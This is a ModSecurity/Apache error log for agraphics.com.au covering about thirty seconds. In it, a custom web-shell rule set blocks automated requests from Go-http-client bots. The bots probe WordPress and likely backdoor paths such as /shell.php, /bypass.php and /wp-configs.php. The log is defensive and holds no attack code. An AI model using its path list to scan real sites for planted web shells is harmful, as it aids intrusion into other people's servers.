[Sat Nov 15 06:16:05.117027 2025] [:error] [pid 27909:tid 27919] [client 85.203.21.237:47911] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aReqJSTfZ6B57n8HepWXTQAAAAY"]
[Sat Nov 15 06:16:05.398997 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.161:27087] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aReqJegM1rHoEAqoQDc3UgAAAQ8"]
[Sat Nov 15 06:16:05.696397 2025] [:error] [pid 27997:tid 28017] [client 85.203.21.176:37429] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aReqJdpja_6cDxKbxFkmjwAAANI"]
[Sat Nov 15 06:16:05.891780 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.168:42575] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aReqJegM1rHoEAqoQDc3VAAAAQU"]
[Sat Nov 15 06:16:06.091850 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.161:34021] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aReqJtpja_6cDxKbxFkmkAAAAMg"]
[Sat Nov 15 06:16:06.289641 2025] [:error] [pid 27910:tid 27952] [client 85.203.21.184:56965] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aReqJo6e1LusHMYkS7ZeZwAAAEs"]
[Sat Nov 15 06:16:06.498918 2025] [:error] [pid 37318:tid 37368] [client 85.203.21.210:55537] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aReqJugM1rHoEAqoQDc3VQAAAQY"]
[Sat Nov 15 06:16:06.688310 2025] [:error] [pid 27997:tid 28005] [client 85.203.21.186:62477] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aReqJtpja_6cDxKbxFkmkwAAAMY"]
[Sat Nov 15 06:16:06.884726 2025] [:error] [pid 37318:tid 37375] [client 85.203.21.201:24601] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aReqJugM1rHoEAqoQDc3WAAAAQ0"]
[Sat Nov 15 06:16:07.088885 2025] [:error] [pid 27909:tid 27916] [client 193.37.32.2:61693] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aReqJyTfZ6B57n8HepWXUAAAAAM"]
[Sat Nov 15 06:16:07.364401 2025] [:error] [pid 27909:tid 27932] [client 193.37.32.1:44139] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aReqJyTfZ6B57n8HepWXUgAAABM"]
[Sat Nov 15 06:16:07.612108 2025] [:error] [pid 27997:tid 28020] [client 85.203.21.210:26995] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/admin-ajax.php"] [unique_id "aReqJ9pja_6cDxKbxFkmlQAAANU"]
[Sat Nov 15 06:16:07.872662 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.223:54813] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aReqJ8GzUdrhGBIfiKTLmwAAAIo"]
[Sat Nov 15 06:16:13.109733 2025] [:error] [pid 27910:tid 27950] [client 85.203.21.222:48551] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aReqLY6e1LusHMYkS7ZedgAAAEk"]
[Sat Nov 15 06:16:13.373607 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.238:64715] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aReqLdpja_6cDxKbxFkmogAAAMc"]
[Sat Nov 15 06:16:13.611723 2025] [:error] [pid 37318:tid 37368] [client 85.203.21.235:59575] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aReqLegM1rHoEAqoQDc3XgAAAQY"]
[Sat Nov 15 06:16:13.919358 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.192:48623] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aReqLegM1rHoEAqoQDc3YQAAARc"]
[Sat Nov 15 06:16:14.391316 2025] [:error] [pid 27997:tid 28008] [client 85.203.21.232:40361] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aReqLtpja_6cDxKbxFkmpgAAAMk"]
[Sat Nov 15 06:16:14.574522 2025] [:error] [pid 27910:tid 27949] [client 85.203.21.239:60641] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/zasf"] [unique_id "aReqLo6e1LusHMYkS7ZeewAAAEg"]
[Sat Nov 15 06:16:19.788639 2025] [:error] [pid 27909:tid 27931] [client 85.203.21.178:45813] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "aReqMyTfZ6B57n8HepWXbQAAABI"]
[Sat Nov 15 06:16:19.997720 2025] [:error] [pid 27911:tid 27979] [client 85.203.21.221:53231] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aReqM8GzUdrhGBIfiKTLqAAAAIs"]
[Sat Nov 15 06:16:20.186033 2025] [:error] [pid 27909:tid 27916] [client 85.203.21.210:36259] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aReqNCTfZ6B57n8HepWXbwAAAAM"]
[Sat Nov 15 06:16:20.377411 2025] [:error] [pid 27909:tid 27929] [client 85.203.21.238:42651] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aReqNCTfZ6B57n8HepWXcQAAABA"]
[Sat Nov 15 06:16:20.578226 2025] [:error] [pid 37318:tid 37368] [client 193.37.32.2:41399] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aReqNOgM1rHoEAqoQDc3awAAAQY"]
[Sat Nov 15 06:16:20.771143 2025] [:error] [pid 27997:tid 28011] [client 85.203.21.186:28189] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aReqNNpja_6cDxKbxFkmsAAAAMw"]
[Sat Nov 15 06:16:20.980456 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.193:37331] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aReqNOgM1rHoEAqoQDc3bAAAAQI"]
[Sat Nov 15 06:16:21.186278 2025] [:error] [pid 27909:tid 27925] [client 85.203.21.164:22161] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "aReqNSTfZ6B57n8HepWXcgAAAAw"]
[Sat Nov 15 06:16:21.404742 2025] [:error] [pid 27911:tid 27976] [client 85.203.21.41:31979] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aReqNcGzUdrhGBIfiKTLqwAAAIg"]
[Sat Nov 15 06:16:21.677023 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.223:51053] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aReqNegM1rHoEAqoQDc3bQAAAQs"]
[Sat Nov 15 06:16:22.019054 2025] [:error] [pid 27909:tid 27930] [client 85.203.21.161:45697] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aReqNiTfZ6B57n8HepWXdQAAABE"]
[Sat Nov 15 06:16:22.363001 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.188:46535] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aReqNiTfZ6B57n8HepWXdgAAAAc"]
[Sat Nov 15 06:16:27.609447 2025] [:error] [pid 27997:tid 28001] [client 85.203.21.195:62867] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aReqO9pja_6cDxKbxFkmugAAAMI"]
[Sat Nov 15 06:16:27.796815 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.162:51901] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aReqO46e1LusHMYkS7ZejgAAAEA"]
[Sat Nov 15 06:16:27.975497 2025] [:error] [pid 27911:tid 27974] [client 85.203.21.156:32663] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/shell/index.php"] [unique_id "aReqO8GzUdrhGBIfiKTLswAAAIY"]
[Sat Nov 15 06:16:28.187917 2025] [:error] [pid 27909:tid 27929] [client 85.203.21.190:59645] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aReqPCTfZ6B57n8HepWXiAAAABA"]
[Sat Nov 15 06:16:29.381912 2025] [:error] [pid 27909:tid 27913] [client 85.203.21.239:51621] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aReqPSTfZ6B57n8HepWXiwAAAAA"]
[Sat Nov 15 06:16:29.786690 2025] [:error] [pid 37318:tid 37363] [client 85.203.21.176:22367] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "aReqPegM1rHoEAqoQDc3eQAAAQE"]
[Sat Nov 15 06:16:29.989812 2025] [:error] [pid 27997:tid 28010] [client 85.203.21.222:31991] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aReqPdpja_6cDxKbxFkmwAAAAMs"]
[Sat Nov 15 06:16:30.186089 2025] [:error] [pid 27910:tid 27960] [client 85.203.21.202:37411] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aReqPo6e1LusHMYkS7ZekQAAAFM"]
[Sat Nov 15 06:16:30.392862 2025] [:error] [pid 27909:tid 27934] [client 85.203.21.168:44311] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aReqPiTfZ6B57n8HepWXjQAAABU"]
[Sat Nov 15 06:16:30.669301 2025] [:error] [pid 27911:tid 27970] [client 85.203.21.202:34583] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aReqPsGzUdrhGBIfiKTLuwAAAII"]
[Sat Nov 15 06:16:30.972164 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.159:37675] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aReqPiTfZ6B57n8HepWXjwAAAAE"]
[Sat Nov 15 06:16:31.210378 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.168:50983] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aReqP-gM1rHoEAqoQDc3egAAAQw"]
[Sat Nov 15 06:16:31.387357 2025] [:error] [pid 27909:tid 27932] [client 85.203.21.204:65039] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aReqPyTfZ6B57n8HepWXkAAAABM"]
[Sat Nov 15 06:16:31.585286 2025] [:error] [pid 27911:tid 27975] [client 85.203.21.159:60447] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aReqP8GzUdrhGBIfiKTLvgAAAIc"]
[Sat Nov 15 06:16:32.017526 2025] [:error] [pid 27997:tid 28000] [client 85.203.21.197:47773] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "aReqQNpja_6cDxKbxFkmwgAAAME"]
[Sat Nov 15 06:16:32.310385 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.52:53163] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/packed.php"] [unique_id "aReqQCTfZ6B57n8HepWXlgAAAA8"]
[Sat Nov 15 06:16:32.694368 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.58:51855] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aReqQOgM1rHoEAqoQDc3ewAAAQA"]
[Sat Nov 15 06:16:32.974475 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.195:23417] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aReqQOgM1rHoEAqoQDc3fAAAAQg"]
[Sat Nov 15 06:16:33.220103 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.195:34647] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "aReqQegM1rHoEAqoQDc3fgAAAQI"]
[Sat Nov 15 06:16:33.405896 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.222:50503] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/worksec.php"] [unique_id "aReqQegM1rHoEAqoQDc3fwAAAQs"]
[Sat Nov 15 06:16:33.593258 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.195:24023] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aReqQegM1rHoEAqoQDc3gAAAAQk"]
[Sat Nov 15 06:16:33.793626 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.159:44277] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aReqQegM1rHoEAqoQDc3gwAAAQ8"]
[Sat Nov 15 06:16:33.998271 2025] [:error] [pid 37318:tid 37369] [client 193.37.32.2:24631] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aReqQegM1rHoEAqoQDc3hAAAAQc"]
[Sat Nov 15 06:16:34.187768 2025] [:error] [pid 37318:tid 37378] [client 85.203.21.161:49489] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aReqQugM1rHoEAqoQDc3hQAAARA"]
